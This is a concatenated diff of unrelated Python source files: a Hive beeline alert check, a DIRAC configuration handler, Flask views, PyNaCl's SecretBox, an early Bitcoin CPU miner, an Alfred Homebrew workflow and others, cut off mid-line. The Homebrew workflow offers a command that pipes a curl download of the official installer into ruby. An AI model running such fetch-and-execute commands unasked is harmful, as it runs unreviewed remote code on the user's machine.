configurations[HIVE_SERVER2_PRINCIPAL_KEY] + hive_principal = hive_principal.replace('_HOST',host_name.lower()) + + # Get the configured Kerberos executable search paths, if any + if KERBEROS_EXECUTABLE_SEARCH_PATHS_KEY in configurations: + kerberos_executable_search_paths = configurations[KERBEROS_EXECUTABLE_SEARCH_PATHS_KEY] + else: + kerberos_executable_search_paths = None + + kinit_path_local = get_kinit_path(kerberos_executable_search_paths) + + hiveruser = HIVEUSER_DEFAULT + + if security_enabled: + kinitcmd = format("{kinit_path_local} -kt {hive_kerberos_keytab} {hive_principal}; ") + # prevent concurrent kinit + kinit_lock = global_lock.get_lock(global_lock.LOCK_TYPE_KERBEROS) + kinit_lock.acquire() + try: + Execute(kinitcmd, user=hiveruser) + finally: + kinit_lock.release() + + result_code = None + try: + if host_name is None: + host_name = socket.getfqdn() + + if security_enabled: + beeline_url = ["'jdbc:hive2://{host_name}:{port}/default;principal={hive_principal}'","transportMode={transport_mode}"] + else: + beeline_url = ["'jdbc:hive2://{host_name}:{port}/default'","transportMode={transport_mode}"] + # append url according to used transport + + beeline_cmd = os.path.join(spark_home, "bin", "beeline") + cmd = "! beeline -u %s -e '' 2>&1| awk '{print}'|grep -i -e 'Connection refused' -e 'Invalid URL'" % \ + (format(" ".join(beeline_url))) + + start_time = time.time() + try: + Execute(cmd, + user=hiveruser, + path=[beeline_cmd], + timeout=CHECK_COMMAND_TIMEOUT_DEFAULT, + timeout_kill_strategy=TerminateStrategy.KILL_PROCESS_TREE, + ) + total_time = time.time() - start_time + result_code = 'OK' + label = OK_MESSAGE.format(total_time, port) + except: + result_code = 'CRITICAL' + label = CRITICAL_MESSAGE.format(host_name, port, traceback.format_exc()) + except: + label = traceback.format_exc() + result_code = 'UNKNOWN' + + return (result_code, [label]) diff --git a/pool/shard009/Python/0083494_TornadoConfigurationHandler.py b/pool/shard009/Python/0083494_TornadoConfigurationHandler.py new file mode 100644 index 0000000000000000000000000000000000000000..7b196f29e04c522713c9e9f343053b40f5c927c3 --- /dev/null +++ b/pool/shard009/Python/0083494_TornadoConfigurationHandler.py @@ -0,0 +1,131 @@ +""" The CS! (Configuration Service) + +Modified to work with Tornado +Encode data in base64 because of JSON limitations +In client side you must use a specific client + +""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +__RCSID__ = "$Id$" + +from base64 import b64encode, b64decode + +from DIRAC import S_OK, S_ERROR, gLogger +from DIRAC.ConfigurationSystem.private.ServiceInterfaceTornado import ServiceInterfaceTornado as ServiceInterface +from DIRAC.Core.Tornado.Server.TornadoService import TornadoService + +sLog = gLogger.getSubLogger(__name__) + + +class TornadoConfigurationHandler(TornadoService): + """ + The CS handler + """ + + ServiceInterface = None + PilotSynchronizer = None + + @classmethod + def initializeHandler(cls, serviceInfo): + """ + Initialize the configuration server + Behind it starts thread which refresh configuration + """ + cls.ServiceInterface = ServiceInterface(serviceInfo["URL"]) + return S_OK() + + def export_getVersion(self): + """ + Returns the version of the configuration + """ + return S_OK(self.ServiceInterface.getVersion()) + + def export_getCompressedData(self): + """ + Returns the configuration + """ + sData = self.ServiceInterface.getCompressedConfigurationData() + return S_OK(b64encode(sData).decode()) + + def export_getCompressedDataIfNewer(self, sClientVersion): + """ + Returns the configuration if a newer configuration exists, if not just returns the version + + :param sClientVersion: Version used by client + """ + sVersion = self.ServiceInterface.getVersion() + retDict = {"newestVersion": sVersion} + if sClientVersion < sVersion: + retDict["data"] = b64encode(self.ServiceInterface.getCompressedConfigurationData()).decode() + return S_OK(retDict) + + def export_publishSlaveServer(self, sURL): + """ + Used by slave server to register as a slave server. + + :param sURL: The url of the slave server. + """ + self.ServiceInterface.publishSlaveServer(sURL) + return S_OK() + + def export_commitNewData(self, sData): + """ + Write the new configuration + """ + credDict = self.getRemoteCredentials() + if "DN" not in credDict or "username" not in credDict: + return S_ERROR("You must be authenticated!") + sData = b64decode(sData) + return self.ServiceInterface.updateConfiguration(sData, credDict["username"]) + + def export_writeEnabled(self): + """ + Used to know if we can change the configuration on this server + """ + return S_OK(self.ServiceInterface.isMaster()) + + def export_getCommitHistory(self, limit=100): + """ + Get the history of modifications in the configuration + """ + if limit > 100: + limit = 100 + history = self.ServiceInterface.getCommitHistory() + if limit: + history = history[:limit] + return S_OK(history) + + def export_getVersionContents(self, versionList): + """ + Get an old version of the configuration, can also be used to get more than one version. + + :param versionList: List of the version we are trying to get + """ + contentsList = [] + for version in versionList: + retVal = self.ServiceInterface.getVersionContents(version) + if retVal["OK"]: + contentsList.append(retVal["Value"]) + else: + return S_ERROR("Can't get contents for version %s: %s" % (version, retVal["Message"])) + return S_OK(contentsList) + + def export_rollbackToVersion(self, version): + """ + Rollback to an older version of the configuration + + :param version: The version we want to apply + """ + retVal = self.ServiceInterface.getVersionContents(version) + if not retVal["OK"]: + return S_ERROR("Can't get contents for version %s: %s" % (version, retVal["Message"])) + credDict = self.getRemoteCredentials() + if "DN" not in credDict or "username" not in credDict: + return S_ERROR("You must be authenticated!") + return self.ServiceInterface.updateConfiguration( + retVal["Value"], credDict["username"], updateVersionOption=True + ) diff --git a/pool/shard009/Python/0083497_sweet.py b/pool/shard009/Python/0083497_sweet.py new file mode 100644 index 0000000000000000000000000000000000000000..5984bdb057f5b2dbdc8e65ac3b561e2c886bd546 --- /dev/null +++ b/pool/shard009/Python/0083497_sweet.py @@ -0,0 +1,26 @@ +# -*- coding utf-8 -*- +# classes/views/sweet.py + + +from flask import Module, render_template, abort + +from swtstore.classes.models import Sweet + + +sweet = Module(__name__) + + +@sweet.route('/', methods=['GET']) +def showSweet(id): + #current_user = User.getCurrentUser() + #if current_user is None: + # return redirect(url_for('index')) + + #user = current_user.to_dict() + print "recvd sweet id: %s" % (id) + sweet = Sweet.query.get(id) + if sweet: + print "sweet found %s" % (sweet) + return render_template('sweet/specific.html', sweet=sweet.to_dict()) + else: + abort(404) diff --git a/pool/shard009/Python/0083501_patch_applier.py b/pool/shard009/Python/0083501_patch_applier.py new file mode 100644 index 0000000000000000000000000000000000000000..d2380a51cc8c4de7881aaa997d6e67f105eb0129 --- /dev/null +++ b/pool/shard009/Python/0083501_patch_applier.py @@ -0,0 +1,58 @@ +def apply_patch(string_to_patch, patch, reverse=False): + """Apply a diff file to a specified string + """ + + # The strings are now represented as arrays with every element being one line + patch_lines = patch.split("\n") + final_text = string_to_patch.split("\n") + + current_line_number = 0 + for line in patch_lines: + + current_line_number += 1 + + # Header for the patch file + if line.startswith("---") or line.startswith("+++"): + pass + + # Start of new diff "hunk" + # Get info about the line numbers the new hunk takes place over + elif line.startswith("@"): + + # TODO: A lot of this is probably unneeded + old_lines, new_lines = line.replace("-", "").replace("+", "").strip("@").strip().split(" ") + old_lines = old_lines.split(",") + new_lines = new_lines.split(",") + + # Change the current line number to skip over ones that didn't change + current_line_number = int(old_lines[0]) - 1 + + # If a line was removed + elif line.startswith("-"): + + if not reverse: + # If applying patch to original string, remove the line + del final_text[current_line_number - 1] + current_line_number -= 1 + + else: + # If in reverse, add the line + # This will change the line from "-*rest of the line*" to "*rest of the line*" + line = line[1:] + final_text.insert(current_line_number - 1, line) + + # If a line was added + elif line.startswith("+"): + if not reverse: + # If applying patch to the original string, add the line + # This will change the line from "+*rest of the line*" to "*rest of the line*" + line = line[1:] + final_text.insert(current_line_number - 1, line) + + else: + # If in reverse, remove the line + del final_text[current_line_number - 1] + current_line_number -= 1 + + # This will return it as one string with newlines between every line + return "\n".join(final_text) diff --git a/pool/shard009/Python/0083503_secret.py b/pool/shard009/Python/0083503_secret.py new file mode 100644 index 0000000000000000000000000000000000000000..c7174db044f15dfa6ff14bda49d6cb311b0cf66e --- /dev/null +++ b/pool/shard009/Python/0083503_secret.py @@ -0,0 +1,127 @@ +# Copyright 2013 Donald Stufft and individual contributors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from __future__ import absolute_import, division, print_function + +import nacl.bindings +from nacl import encoding +from nacl import exceptions as exc +from nacl.utils import EncryptedMessage, StringFixer, random + + +class SecretBox(encoding.Encodable, StringFixer, object): + """ + The SecretBox class encrypts and decrypts messages using the given secret + key. + + The ciphertexts generated by :class:`~nacl.secret.Secretbox` include a 16 + byte authenticator which is checked as part of the decryption. An invalid + authenticator will cause the decrypt function to raise an exception. The + authenticator is not a signature. Once you've decrypted the message you've + demonstrated the ability to create arbitrary valid message, so messages you + send are repudiable. For non-repudiable messages, sign them after + encryption. + + :param key: The secret key used to encrypt and decrypt messages + :param encoder: The encoder class used to decode the given key + + :cvar KEY_SIZE: The size that the key is required to be. + :cvar NONCE_SIZE: The size that the nonce is required to be. + """ + + KEY_SIZE = nacl.bindings.crypto_secretbox_KEYBYTES + NONCE_SIZE = nacl.bindings.crypto_secretbox_NONCEBYTES + + def __init__(self, key, encoder=encoding.RawEncoder): + key = encoder.decode(key) + if not isinstance(key, bytes): + raise exc.TypeError("SecretBox must be created from 32 bytes") + + if len(key) != self.KEY_SIZE: + raise exc.ValueError( + "The key must be exactly %s bytes long" % + self.KEY_SIZE, + ) + + self._key = key + + def __bytes__(self): + return self._key + + def encrypt(self, plaintext, nonce=None, encoder=encoding.RawEncoder): + """ + Encrypts the plaintext message using the given `nonce` (or generates + one randomly if omitted) and returns the ciphertext encoded with the + encoder. + + .. warning:: It is **VITALLY** important that the nonce is a nonce, + i.e. it is a number used only once for any given key. If you fail + to do this, you compromise the privacy of the messages encrypted. + Give your nonces a different prefix, or have one side use an odd + counter and one an even counter. Just make sure they are different. + + :param plaintext: [:class:`bytes`] The plaintext message to encrypt + :param nonce: [:class:`bytes`] The nonce to use in the encryption + :param encoder: The encoder to use to encode the ciphertext + :rtype: [:class:`nacl.utils.EncryptedMessage`] + """ + if nonce is None: + nonce = random(self.NONCE_SIZE) + + if len(nonce) != self.NONCE_SIZE: + raise exc.ValueError( + "The nonce must be exactly %s bytes long" % self.NONCE_SIZE, + ) + + ciphertext = nacl.bindings.crypto_secretbox(plaintext, + nonce, self._key) + + encoded_nonce = encoder.encode(nonce) + encoded_ciphertext = encoder.encode(ciphertext) + + return EncryptedMessage._from_parts( + encoded_nonce, + encoded_ciphertext, + encoder.encode(nonce + ciphertext), + ) + + def decrypt(self, ciphertext, nonce=None, encoder=encoding.RawEncoder): + """ + Decrypts the ciphertext using the `nonce` (explicitly, when passed as a + parameter or implicitly, when omitted, as part of the ciphertext) and + returns the plaintext message. + + :param ciphertext: [:class:`bytes`] The encrypted message to decrypt + :param nonce: [:class:`bytes`] The nonce used when encrypting the + ciphertext + :param encoder: The encoder used to decode the ciphertext. + :rtype: [:class:`bytes`] + """ + # Decode our ciphertext + ciphertext = encoder.decode(ciphertext) + + if nonce is None: + # If we were given the nonce and ciphertext combined, split them. + nonce = ciphertext[:self.NONCE_SIZE] + ciphertext = ciphertext[self.NONCE_SIZE:] + + if len(nonce) != self.NONCE_SIZE: + raise exc.ValueError( + "The nonce must be exactly %s bytes long" % self.NONCE_SIZE, + ) + + plaintext = nacl.bindings.crypto_secretbox_open(ciphertext, + nonce, self._key) + + return plaintext diff --git a/pool/shard009/Python/0083504_compat.py b/pool/shard009/Python/0083504_compat.py new file mode 100644 index 0000000000000000000000000000000000000000..5329cb66842c4cc328f588a2177f4da8acca744d --- /dev/null +++ b/pool/shard009/Python/0083504_compat.py @@ -0,0 +1,38 @@ +# -*- coding: utf-8 -*- +""" + sphinx.util.compat + ~~~~~~~~~~~~~~~~~~ + + Stuff for docutils compatibility. + + :copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS. + :license: BSD, see LICENSE for details. +""" +import warnings + +from docutils import nodes +from docutils.parsers.rst import Directive # noqa + +from docutils import __version__ as _du_version +docutils_version = tuple(int(x) for x in _du_version.split('.')[:2]) + + +def make_admonition(node_class, name, arguments, options, content, lineno, + content_offset, block_text, state, state_machine): + warnings.warn('make_admonition is deprecated, use ' + 'docutils.parsers.rst.directives.admonitions.BaseAdmonition ' + 'instead', DeprecationWarning, stacklevel=2) + text = '\n'.join(content) + admonition_node = node_class(text) + if arguments: + title_text = arguments[0] + textnodes, messages = state.inline_text(title_text, lineno) + admonition_node += nodes.title(title_text, '', *textnodes) + admonition_node += messages + if 'class' in options: + classes = options['class'] + else: + classes = ['admonition-' + nodes.make_id(title_text)] + admonition_node['classes'] += classes + state.nested_parse(content, content_offset, admonition_node) + return [admonition_node] diff --git a/pool/shard009/Python/0083505_test_measurement.py b/pool/shard009/Python/0083505_test_measurement.py new file mode 100644 index 0000000000000000000000000000000000000000..0af0dd9dcec7c4efd51ea2a884c2bc8c97de00f2 --- /dev/null +++ b/pool/shard009/Python/0083505_test_measurement.py @@ -0,0 +1,99 @@ +from unittest import TestCase +from tests import fixture +from datetime import datetime +from pyprol import measurement + +import sys +import os + +class TimingStatTestCase(TestCase): + def test_timingstat(self): + obj = measurement.TimingStat( + datetime.utcnow(), "testing", "test", "test.code.py", 1, 0, + 0.4, 0.2, None) + + assert hasattr(obj, 'timestamp') + assert hasattr(obj, 'session') + assert hasattr(obj, 'name') + assert hasattr(obj, 'code') + assert hasattr(obj, 'call_count') + assert hasattr(obj, 'recursive_call_count') + assert hasattr(obj, 'time_total') + assert hasattr(obj, 'time_function') + assert hasattr(obj, 'calls') + +class MeasurementTestCase(TestCase): + def assertEqualTiming(self, a, b): + self.assertEqual(a.code, b.code) + self.assertEqual(a.call_count, b.call_count) + self.assertEqual(a.recursive_call_count, b.recursive_call_count) + self.assertEqual(a.time_total, b.time_total) + self.assertEqual(a.time_function, b.time_function) + self.assertEqual(a.calls, b.calls) + + if a.calls is not None and b.calls is not None: + try: + # Check if we should use the python 2 xrange function + indexes = xrange(0, len(a.calls)) + except NameError: + # Use the xrange function, that is named range in python 3 + indexes = range(0, len(a.calls)) + + for i in indexes: + self.assertEqualTiming(a.calls[i], b.calls[i]) + + def assertEqualMeasure(self, a, b): + self.assertIsInstance(a, measurement.Measure) + self.assertIsInstance(b, measurement.Measure) + + self.assertEqual(a.point_name, b.point_name) + if hasattr(a, "timings") and hasattr(b, "timings"): + self.assertEqual(len(a.timings), len(b.timings)) + + try: + indexes = xrange(0, len(a.timings)) + except NameError: + indexes = range(0, len(a.timings)) + + for i in indexes: + self.assertEqualTiming(a.timings[i], b.timings[i]) + + elif hasattr(a, "timing"): + assert False + + elif hasattr(b, "timing"): + assert False + + def setUp(self): + self.config = fixture.Configuration() + + def test_init_shutdown(self): + measurement.init(self.config) + self.assertTrue(measurement.measurement._save_process.is_alive()) + self.assertIsNotNone(measurement.measurement._save_queue) + + measurement.shutdown() + self.assertIsNone(measurement.measurement._save_process) + self.assertIsNone(measurement.measurement._save_queue) + + def test_save_load(self): + queue = fixture.Queue() + send_measure = measurement.Measure("testing", "run_test", queue) + send_measure.start().stop().save() + + recv_measure = measurement.Measure(data=queue.get()) + + self.assertEqual(recv_measure.timings, send_measure.timings) + self.assertEqual(recv_measure.point_name, send_measure.point_name) + + def test_enable_disable(self): + storage = fixture.Storage(self.config) + measurement.init(self.config, fixture.Storage) + + measure = measurement.enable("testing") + fixture.nop() + measurement.disable(measure) + measurement.shutdown() + + self.assertEqualMeasure(fixture.Storage().last(), measure) + diff --git a/pool/shard009/Python/0083511_qgis-sample-QgsDialog.py b/pool/shard009/Python/0083511_qgis-sample-QgsDialog.py new file mode 100644 index 0000000000000000000000000000000000000000..565550e0fcf3da2f1fb64e790a4d34be4e186678 --- /dev/null +++ b/pool/shard009/Python/0083511_qgis-sample-QgsDialog.py @@ -0,0 +1,14 @@ +# coding: utf-8 +from PyQt4.QtCore import Qt # http://doc.qt.io/qt-4.8/qwidget.html#windowFlags-prop +from PyQt4.QtGui import QDialogButtonBox # http://doc.qt.io/qt-4.8/qcolor.html +from qgis.gui import QgsDialog +from qgis.utils import iface + +main_window = iface.mainWindow() +dialog = QgsDialog(main_window, + fl=Qt.WindowFlags(), + buttons=QDialogButtonBox.Close, + orientation=Qt.Horizontal) +dialog.resize(600, 400) + +dialog.show() diff --git a/pool/shard009/Python/0083514_app.py b/pool/shard009/Python/0083514_app.py new file mode 100644 index 0000000000000000000000000000000000000000..1aeabfd385436ec1c01b0d6f225c94c484e6e718 --- /dev/null +++ b/pool/shard009/Python/0083514_app.py @@ -0,0 +1,47 @@ +import os +from flask import Flask, render_template, request, abort +from seck.model import User, Post +from config import config +app = Flask(__name__) + +if config.env == "development": + app.debug = True + +user = config.user + +@app.route('/') +def home(): + return render_template("home.html", + user = user) + +#@app.route('/blog') +def blog(): + post_id = request.args.get('post') + tag = request.args.get('tag') + if post_id: + post = Post.find_one(post_id) + if not post: + abort(404) + post.render() + return render_template("blog-page.html", + user = user, + post = post) + elif tag: + posts = Post.find_by_tag(tag) + return render_template("blog.html", + user = user, + posts = posts) + else: + post_idx = request.args.get('page') or 0 + posts = Post.all() + return render_template("blog.html", + user= user, + posts = posts) + +@app.errorhandler(404) +def page_not_found(e): + return render_template("404.html", + user = user), 404 + +if __name__ == '__main__': + app.run(host='127.0.0.1', port=5000) diff --git a/pool/shard009/Python/0083520_pyminer.py b/pool/shard009/Python/0083520_pyminer.py new file mode 100644 index 0000000000000000000000000000000000000000..e8967f5bd4e1595e2f93f39186ff43e1eee7888f --- /dev/null +++ b/pool/shard009/Python/0083520_pyminer.py @@ -0,0 +1,252 @@ +#!/usr/bin/python +# +# Copyright (c) 2011 The Bitcoin developers +# Distributed under the MIT/X11 software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +# + +import time +import json +import pprint +import hashlib +import struct +import re +import base64 +import httplib +import sys +from multiprocessing import Process + +ERR_SLEEP = 15 +MAX_NONCE = 1000000L + +settings = {} +pp = pprint.PrettyPrinter(indent=4) + +class BitcoinRPC: + OBJID = 1 + + def __init__(self, host, port, username, password): + authpair = "%s:%s" % (username, password) + self.authhdr = "Basic %s" % (base64.b64encode(authpair)) + self.conn = httplib.HTTPConnection(host, port, False, 30) + def rpc(self, method, params=None): + self.OBJID += 1 + obj = { 'version' : '1.1', + 'method' : method, + 'id' : self.OBJID } + if params is None: + obj['params'] = [] + else: + obj['params'] = params + self.conn.request('POST', '/', json.dumps(obj), + { 'Authorization' : self.authhdr, + 'Content-type' : 'application/json' }) + + resp = self.conn.getresponse() + if resp is None: + print "JSON-RPC: no response" + return None + + body = resp.read() + resp_obj = json.loads(body) + if resp_obj is None: + print "JSON-RPC: cannot JSON-decode body" + return None + if 'error' in resp_obj and resp_obj['error'] != None: + return resp_obj['error'] + if 'result' not in resp_obj: + print "JSON-RPC: no result in object" + return None + + return resp_obj['result'] + def getblockcount(self): + return self.rpc('getblockcount') + def getwork(self, data=None): + return self.rpc('getwork', data) + +def uint32(x): + return x & 0xffffffffL + +def bytereverse(x): + return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) | + (((x) >> 8) & 0x0000ff00) | ((x) >> 24) )) + +def bufreverse(in_buf): + out_words = [] + for i in range(0, len(in_buf), 4): + word = struct.unpack('@I', in_buf[i:i+4])[0] + out_words.append(struct.pack('@I', bytereverse(word))) + return ''.join(out_words) + +def wordreverse(in_buf): + out_words = [] + for i in range(0, len(in_buf), 4): + out_words.append(in_buf[i:i+4]) + out_words.reverse() + return ''.join(out_words) + +class Miner: + def __init__(self, id): + self.id = id + self.max_nonce = MAX_NONCE + + def work(self, datastr, targetstr): + # decode work data hex string to binary + static_data = datastr.decode('hex') + static_data = bufreverse(static_data) + + # the first 76b of 80b do not change + blk_hdr = static_data[:76] + + # decode 256-bit target value + targetbin = targetstr.decode('hex') + targetbin = targetbin[::-1] # byte-swap and dword-swap + targetbin_str = targetbin.encode('hex') + target = long(targetbin_str, 16) + + # pre-hash first 76b of block header + static_hash = hashlib.sha256() + static_hash.update(blk_hdr) + + for nonce in xrange(self.max_nonce): + + # encode 32-bit nonce value + nonce_bin = struct.pack(" Upstream RPC result:", result + + def iterate(self, rpc): + work = rpc.getwork() + if work is None: + time.sleep(ERR_SLEEP) + return + if 'data' not in work or 'target' not in work: + time.sleep(ERR_SLEEP) + return + + time_start = time.time() + + (hashes_done, nonce_bin) = self.work(work['data'], + work['target']) + + time_end = time.time() + time_diff = time_end - time_start + + self.max_nonce = long( + (hashes_done * settings['scantime']) / time_diff) + if self.max_nonce > 0xfffffffaL: + self.max_nonce = 0xfffffffaL + + if settings['hashmeter']: + print "HashMeter(%d): %d hashes, %.2f Khash/sec" % ( + self.id, hashes_done, + (hashes_done / 1000.0) / time_diff) + + if nonce_bin is not None: + self.submit_work(rpc, work['data'], nonce_bin) + + def loop(self): + rpc = BitcoinRPC(settings['host'], settings['port'], + settings['rpcuser'], settings['rpcpass']) + if rpc is None: + return + + while True: + self.iterate(rpc) + +def miner_thread(id): + miner = Miner(id) + miner.loop() + +if __name__ == '__main__': + if len(sys.argv) != 2: + print "Usage: pyminer.py CONFIG-FILE" + sys.exit(1) + + f = open(sys.argv[1]) + for line in f: + # skip comment lines + m = re.search('^\s*#', line) + if m: + continue + + # parse key=value lines + m = re.search('^(\w+)\s*=\s*(\S.*)$', line) + if m is None: + continue + settings[m.group(1)] = m.group(2) + f.close() + + if 'host' not in settings: + settings['host'] = '127.0.0.1' + if 'port' not in settings: + settings['port'] = 56377 + if 'threads' not in settings: + settings['threads'] = 1 + if 'hashmeter' not in settings: + settings['hashmeter'] = 0 + if 'scantime' not in settings: + settings['scantime'] = 30L + if 'rpcuser' not in settings or 'rpcpass' not in settings: + print "Missing username and/or password in cfg file" + sys.exit(1) + + settings['port'] = int(settings['port']) + settings['threads'] = int(settings['threads']) + settings['hashmeter'] = int(settings['hashmeter']) + settings['scantime'] = long(settings['scantime']) + + thr_list = [] + for thr_id in range(settings['threads']): + p = Process(target=miner_thread, args=(thr_id,)) + p.start() + thr_list.append(p) + time.sleep(1) # stagger threads + + print settings['threads'], "mining threads started" + + print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port']) + try: + for thr_proc in thr_list: + thr_proc.join() + except KeyboardInterrupt: + pass + print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port']) + diff --git a/pool/shard009/Python/0083525_brew.py b/pool/shard009/Python/0083525_brew.py new file mode 100644 index 0000000000000000000000000000000000000000..5bd88f01aed67f7997b190185b20a2a01c238333 --- /dev/null +++ b/pool/shard009/Python/0083525_brew.py @@ -0,0 +1,176 @@ +#!/usr/bin/python +# encoding: utf-8 + +import sys +import os +import subprocess + +from workflow import Workflow, MATCH_SUBSTRING +from workflow.background import run_in_background + +import brew_refresh + +WF = Workflow(update_settings={ + 'github_slug': 'fniephaus/alfred-homebrew', + 'version': open(os.path.join(os.path.dirname(__file__), 'version')).read(), +}) + +FORMULA_URL = 'https://github.com/Homebrew/homebrew/tree/master/Library/Formula' + + +# name and description are search keys +def search_key_for_action(action): + elements = [] + elements.append(action['name']) + elements.append(action['description']) + return u' '.join(elements) + + +def get_all_packages(query): + formulas = WF.cached_data( + 'brew_all_formulas', brew_refresh.get_all_packages, max_age=3600) + + query_filter = query.split() + if len(query_filter) > 1: + return WF.filter(query_filter[1], + formulas, match_on=MATCH_SUBSTRING) + return formulas + + +def get_installed_packages(query): + formulas = WF.cached_data( + 'brew_installed_formulas', brew_refresh.get_installed_packages, max_age=3600) + + query_filter = query.split() + if len(query_filter) > 1: + return WF.filter(query_filter[1], + formulas, match_on=MATCH_SUBSTRING) + return formulas + + +def get_open_link_command(formula): + return 'open %s/%s.rb && exit' % (FORMULA_URL, formula) + + +def brew_not_installed(): + _, err = subprocess.Popen( + ['command', '/usr/local/bin/brew'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() + return err != '' + + +def get_icon(name): + name = '%s-dark' % name if is_dark() else name + return "icons/%s.png" % name + + +def is_dark(): + rgb = [int(x) for x in WF.alfred_env['theme_background'][5:-6].split(',')] + return (0.299 * rgb[0] + 0.587 * rgb[1] + 0.114 * rgb[2] ) / 255 < 0.5 + +if __name__ == '__main__': + from brew_actions import ACTIONS + + if WF.update_available: + WF.add_item( + "An update is available!", + autocomplete='workflow:update', + valid=False, + icon=get_icon("cloud-download") + ) + + if WF.cached_data('brew_not_installed', brew_not_installed, max_age=0): + WF.add_item( + 'Brew does not seem to be installed!', + 'Hit enter to see what you need to do...', + arg='open http://brew.sh/#install && exit', + valid=True + ) + WF.add_item( + 'I trust this workflow', + 'Hit enter to install brew...', + arg='ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"', + valid=True + ) + # delete cached file + WF.cache_data('brew_not_installed', None) + else: + # extract query + query = WF.args[0] if len(WF.args) else None + + if query and query.startswith('install'): + for formula in get_all_packages(query): + WF.add_item( + formula, "Install formula", + arg='brew install %s' % formula, + valid=True, + icon=get_icon("package") + ) + elif query and query.startswith('search'): + for formula in get_all_packages(query): + WF.add_item( + formula, "Open formula on GitHub", + arg=get_open_link_command(formula), + valid=True, + icon=get_icon("package") + ) + elif query and query.startswith('uninstall'): + for formula in get_installed_packages(query): + name = formula.rsplit()[0] + WF.add_item( + formula, "Uninstall formula", + arg='brew uninstall %s' % name, + valid=True, + icon=get_icon("package") + ) + elif query and query.startswith('list'): + for formula in get_installed_packages(query): + name = formula.rsplit()[0] + WF.add_item( + formula, "Open formula on GitHub", + arg=get_open_link_command(name), + valid=True, + icon=get_icon("package") + ) + elif query and query.startswith('info'): + info = WF.cached_data( + 'brew_info', brew_refresh.get_info, max_age=3600) + WF.add_item( + info, + autocomplete='', + icon=get_icon("info") + ) + else: + # filter actions by query + if query: + ACTIONS = WF.filter( + query, ACTIONS, key=search_key_for_action, match_on=MATCH_SUBSTRING) + + if len(ACTIONS) > 0: + for action in ACTIONS: + WF.add_item( + action['name'], action['description'], + uid=action['name'], + autocomplete=action['autocomplete'], + arg=action['arg'], + valid=action['valid'], + icon=get_icon("chevron-right") + ) + else: + WF.add_item( + "No action found for '%s'" % query, + autocomplete="", + icon=get_icon("info") + ) + + if len(WF._items) == 0: + WF.add_item( + "No formula found for '%s'" % query[query.find(" ") + 1:], + autocomplete="%s " % query[:query.find(" ")], + icon=get_icon("info") + ) + + WF.send_feedback() + + # refresh cache + cmd = ['/usr/bin/python', WF.workflowfile('brew_refresh.py')] + run_in_background('brew_refresh', cmd) diff --git a/pool/shard009/Python/0083531_setup.py b/pool/shard009/Python/0083531_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..dd4328780a3f4151401f965e23f9317c01132f38 --- /dev/null +++ b/pool/shard009/Python/0083531_setup.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python +# +# Copyright (C) 2011, One Laptop Per Child +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +import sys +import os +import shutil +import zipfile +import tarfile +from fnmatch import fnmatch +from sugar3.activity import bundlebuilder + +import utils + +INCLUDE_DIRS = ['activity', 'binarylibs', 'icons', 'locale', 'bin', + 'mwlib', 'po', 'seek-bzip2', 'static', 'tools2'] +IGNORE_FILES = ['.gitignore', 'MANIFEST', '*.pyc', '*~', '*.bak', 'pseudo.po'] + + +def list_files(base_dir, filter_directories=False, data_file=None): + if filter_directories: + include_dirs = INCLUDE_DIRS + else: + include_dirs = None + + ignore_files = IGNORE_FILES + result = [] + + base_dir = os.path.abspath(base_dir) + + for root, dirs, files in os.walk(base_dir): + + if ignore_files: + for pattern in ignore_files: + files = [f for f in files if not fnmatch(f, pattern)] + + rel_path = root[len(base_dir) + 1:] + for f in files: + result.append(os.path.join(rel_path, f)) + + if root == base_dir: + n = 0 + while n < len(dirs): + directory = dirs[n] + if include_dirs is not None and directory not in include_dirs: + dirs.remove(directory) + else: + n = n + 1 + + if data_file is not None: + # Add the data files + needed_sufix = ['.processed.bz2', '.processed.bz2t'] + for sufix in needed_sufix: + file_name = data_file + sufix + result.append(file_name) + + data_dir = os.path.dirname(data_file) + + # add index + result.append(os.path.join(data_dir, 'search.db')) + + # add images + images_path = os.path.join(base_dir, data_dir, 'images') + if os.path.exists(images_path): + for file_name in list_files(images_path): + result.append(os.path.join(data_dir, 'images', file_name)) + + return result + + +class WikiXOPackager(bundlebuilder.XOPackager): + + def __init__(self, builder): + bundlebuilder.Packager.__init__(self, builder.config) + self.builder = builder + self.builder.build_locale() + self.package_path = os.path.join(self.config.dist_dir, + self.config.xo_name) + + def package(self): + bundle_zip = zipfile.ZipFile(self.package_path, 'w', + zipfile.ZIP_DEFLATED) + + for f in list_files(self.config.source_dir, True, data_file): + if os.path.exists(os.path.join(self.config.source_dir, f)): + bundle_zip.write(os.path.join(self.config.source_dir, f), + os.path.join(self.config.bundle_root_dir, f)) + bundle_zip.close() + + +class WikiSourcePackager(bundlebuilder.Packager): + + def __init__(self, config): + bundlebuilder.Packager.__init__(self, config) + self.package_path = os.path.join(self.config.dist_dir, + self.config.tar_name) + + def package(self): + tar = tarfile.open(self.package_path, 'w:bz2') + for f in list_files('./', True, data_file): + tar.add(os.path.join(self.config.source_dir, f), + os.path.join(self.config.tar_root_dir, f)) + tar.close() + + +valid_data_param = False +if len(sys.argv) >= 3 and not 